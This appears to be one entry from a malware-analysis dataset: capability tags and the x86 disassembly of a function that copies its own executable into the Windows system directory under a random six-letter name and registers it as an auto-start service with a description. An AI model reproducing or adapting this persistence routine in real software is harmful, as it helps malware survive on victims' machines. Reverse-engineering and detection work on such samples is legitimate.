Function at 0x402d00
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40b1a0
push 0x405c40
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x370
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x328]
push eax
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea ecx, [ebp - 0x220]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edi, [ebp - 0x220]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea edx, [ebp - 0x328]
push edx
lea eax, [ebp - 0x220]
push eax
call fcn.00405b10
add esp, 0xc
test eax, eax
je 0x402e99
push 0x1a
call fcn.00403720
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00403720
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00403720
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00403720
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00403720
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00403720
add esp, 4
add eax, 0x61
push eax
push str._c_c_c_c_c_c.exe
lea ecx, [ebp - 0x380]
push ecx
call dword [0x410610]
add esp, 0x20
lea edx, [ebp - 0x220]
mov edi, 0x40d498
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x380]
lea edx, [ebp - 0x220]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push ebx
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x328]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x328]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x220]
lea edx, [ebp - 0x328]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [0x410648], 1
mov dword [ebp - 0x224], ebx
mov dword [ebp - 0x330], ebx
xor edi, edi
mov dword [ebp - 0x32c], edi
mov dword [ebp - 4], edi
push 0xf003f
push edi
push edi
call dword [0x4105ec]
mov esi, eax
mov dword [ebp - 0x32c], esi
cmp esi, edi
je 0x402fdd
push edi
push edi
push edi
push edi
push edi
lea ecx, [ebp - 0x328]
push ecx
push edi
push 2
push 0x10
push 0xf01ff
mov edx, dword [ebp + 0xc]
push edx
mov edi, dword [ebp + 8]
push edi
push esi
call dword [0x4105cc]
mov ebx, eax
mov dword [ebp - 0x330], ebx
test ebx, ebx
jne 0x402f33
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x402f33
push 0xf01ff
push edi
push esi
call dword [0x4105e8]
mov ebx, eax
mov dword [ebp - 0x330], ebx
test ebx, ebx
je 0x402fdd
push 0
push 0
push ebx
call dword [0x4105d0]
push 0
push 0
push ebx
call dword [0x4105d0]
test eax, eax
je 0x402fdd
lea edx, [ebp - 0x11c]
mov edi, str.SYSTEMCurrentControlSetServices_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edx, [ebp - 0x11c]
mov edi, dword [ebp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp - 0x11c]
push ecx
push connect
call dword [0x4105d4]
mov esi, dword [ebp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push 1
push 0
push str.Description
mov edx, dword [ebp - 0x224]
push edx
call dword [0x4105d8]
mov esi, dword [ebp - 0x32c]
mov dword [ebp - 4], 0xffffffff
call fcn.00403006
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret